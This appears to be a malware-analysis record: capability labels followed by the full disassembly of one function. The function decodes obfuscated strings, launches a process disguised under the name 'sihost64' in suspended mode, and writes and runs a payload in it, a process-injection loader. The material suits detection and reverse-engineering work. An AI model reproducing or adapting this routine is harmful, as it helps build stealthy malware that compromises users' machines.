Function at 0x4010cf
Capabilities:
Create process on windows
Create process suspended
Query environment variable
Resolve path using msvcrt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x530
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov eax, 0x1388
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
movabs rax, 0x68
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x80]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0x68
mov dword [rbp - 0x80], eax
movabs rax, 0
mov qword [rbp - 0x88], rax
movabs rax, 0x12cd4
mov qword [rbp - 0x90], rax
movabs rax, 0
mov qword [rbp - 0x98], rax
lea rax, [rbp - 0xa8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__get_pgmptr
mov eax, 5
mov r11, rax
lea rax, [0x00403021]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov ecx, 0xa
mov r11, rcx
lea rcx, [0x00403027]
mov r10, rcx
mov qword [rbp - 0x4c0], rax
mov rcx, r10
mov rdx, r11
call section..text
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_getenv
mov ecx, 0x14
mov r11, rcx
lea rcx, str.iMeMX
mov r10, rcx
mov qword [rbp - 0x4c8], rax
mov rcx, r10
mov rdx, r11
call section..text
mov r9, rax
mov rax, qword [rbp - 0x4c8]
mov r8, rax
mov rax, qword [rbp - 0x4c0]
mov r11, rax
lea rax, [rbp - 0x2b0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
mov eax, 9
mov r11, rax
lea rax, [0x00403047]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
lea rcx, str._sihost64
mov r9, rcx
lea rcx, [rbp - 0x2b0]
mov r8, rcx
mov r11, rax
lea rax, [rbp - 0x4b8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
movabs rax, 0
mov qword [rsp + 0x38], rax
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 0x8000004
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
lea rax, [rbp - 0x4b8]
mov r11, rax
lea rax, [rbp - 0x2b0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateProcessA
mov eax, 0x40
mov qword [rsp + 0x28], rax
mov eax, 0x3000
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x90]
mov r9, rax
mov eax, 0
mov r8, rax
lea rax, [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401d58
mov eax, dword [rbp - 0x90]
mov r11, rax
lea rax, str.k8
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
lea rcx, [rbp - 0x98]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp - 0x90]
mov r9, rcx
mov r8, rax
mov rax, qword [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401d18
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0x10
mov r9, rax
lea rax, [rbp - 0x98]
mov r8, rax
lea rax, [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401d98
movabs rax, 0
mov qword [rsp + 0x50], rax
movabs rax, 0
mov qword [rsp + 0x48], rax
movabs rax, 0
mov qword [rsp + 0x40], rax
movabs rax, 0
mov qword [rsp + 0x38], rax
mov eax, 0
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x88]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x88]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x18]
mov r9, rax
movabs rax, 0
mov r8, rax
mov eax, 0x20000000
mov r11, rax
lea rax, [rbp - 0xa0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.004019d8
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
call fcn.00401c98
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
call fcn.00401c98
mov eax, 0
leave
ret